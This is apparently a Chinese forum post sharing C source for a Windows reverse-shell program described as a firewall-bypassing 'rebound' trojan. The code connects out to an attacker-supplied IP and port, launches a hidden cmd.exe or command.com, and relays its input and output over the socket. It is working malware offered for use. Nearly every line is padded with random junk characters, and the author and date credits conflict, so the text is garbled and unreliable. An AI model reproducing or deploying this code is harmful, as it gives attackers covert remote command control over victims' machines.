这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T_5*iwI
>uP{9kDm
/* ============================== #'G7mAoA
Rebound port in Windows NT z<3}TD
By wind,2006/7 14@q $}sf
===============================*/ L~?,6
#include 8S[<[CH
#include /Gh
x2B
l\A}lC0?J
#pragma comment(lib,"wsock32.lib") )n[`Z#
;Wfv+]n9
void OutputShell(); JWUv H
SOCKET sClient; }QApeZd+q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !"o1ve`{
W[jW;uk
void main(int argc,char **argv) +Zty}fe
{ kG|>_5
WSADATA stWsaData; )|59FOWg
int nRet; dcrJ,>i}
SOCKADDR_IN stSaiClient,stSaiServer; C[J`x>-K
dctA`W@:-
if(argc != 3) ~,M;+T}[r
{ Kc-A-P &Ry
printf("Useage:\n\rRebound DestIP DestPort\n"); o%N0K
return; jiw`i
} R"8})a
gw
^,ZvKA"}+/
WSAStartup(MAKEWORD(2,2),&stWsaData); YDZ1@N}^B
L&3Ar'
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CwH)6uA
O) =73e\
stSaiClient.sin_family = AF_INET; fd,}YAiX
stSaiClient.sin_port = htons(0); 6f5sIg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =5s~$C
D/!eov4"
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Js^r]=\F'
{ W:;`
printf("Bind Socket Failed!\n"); 2\iD;Z#gM
return; 9^C!,A{u4
} ^c[CyZ:a
nfd?@34"A2
stSaiServer.sin_family = AF_INET; ;|2;kvf"w
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u1pYlu9IW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f Dm}J
J4K|KS7
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Vqv2F @.
{ Jb)eC?6O
printf("Connect Error!"); no\}aTx
return; ;>QK}#'
} WkU)I2oH
OutputShell(); 40l#'< y;
} S9ak '
9{]r+z:
void OutputShell() sP8-gkkor
{ "#eNFCo7k
char szBuff[1024]; XM5;AcD
SECURITY_ATTRIBUTES stSecurityAttributes; H?/cG_^y0
OSVERSIONINFO stOsversionInfo; 7]HIE]#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ph7(JV{
STARTUPINFO stStartupInfo; K&"Pm9
char *szShell; );/5#b@<Y
PROCESS_INFORMATION stProcessInformation; RGPU~L
unsigned long lBytesRead; +D{*L0$D"
xzGsfd
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 48"Y-TV
U~zN*2-
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [0,q7d?"
stSecurityAttributes.lpSecurityDescriptor = 0; MkV*+LXC
stSecurityAttributes.bInheritHandle = TRUE; GWkJ/EX
"ppb%=
o4I!VK(C#s
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EuimZW\V
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1o"oa<*_
XKPt[$ab
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A](}"Pi!n
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p6eDd"Y
stStartupInfo.wShowWindow = SW_HIDE; c402pj
stStartupInfo.hStdInput = hReadPipe; oe_[h]Hgl
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5KPPZmO
0.+Z;j
GetVersionEx(&stOsversionInfo); ?PxYS%D_L
O'sr[
switch(stOsversionInfo.dwPlatformId) d=5}^v#4
{ WUOPYYW<o
case 1: $P}]|/Yb
szShell = "command.com"; F*jjcUk
break; '>WuukC
default: YvP"W/5
szShell = "cmd.exe"; TAXkfj
break; ,;ruH^
} BO\`m%8md
OaCj3d>
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fOjt` ~ToI
d\<aJOi+-
send(sClient,szMsg,77,0); 02c.;ka3
while(1) yW=hnV{
{ `R=_t]ie
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vi-!E
if(lBytesRead) uc (yos
{ [F-u'h< *l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z$=$oJzB
send(sClient,szBuff,lBytesRead,0); MUt^mu$86
} 2D_Vo ])l/
else tS/APSY
{ 6%hEs6-R
lBytesRead=recv(sClient,szBuff,1024,0); [,?A$Z*Z|
if(lBytesRead<=0) break; f+88R=-u6S
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K}*p(1$u
} k-PRV8WO
} PNxO\Rc
O}iKPY8K
return; {aa,#B]i
}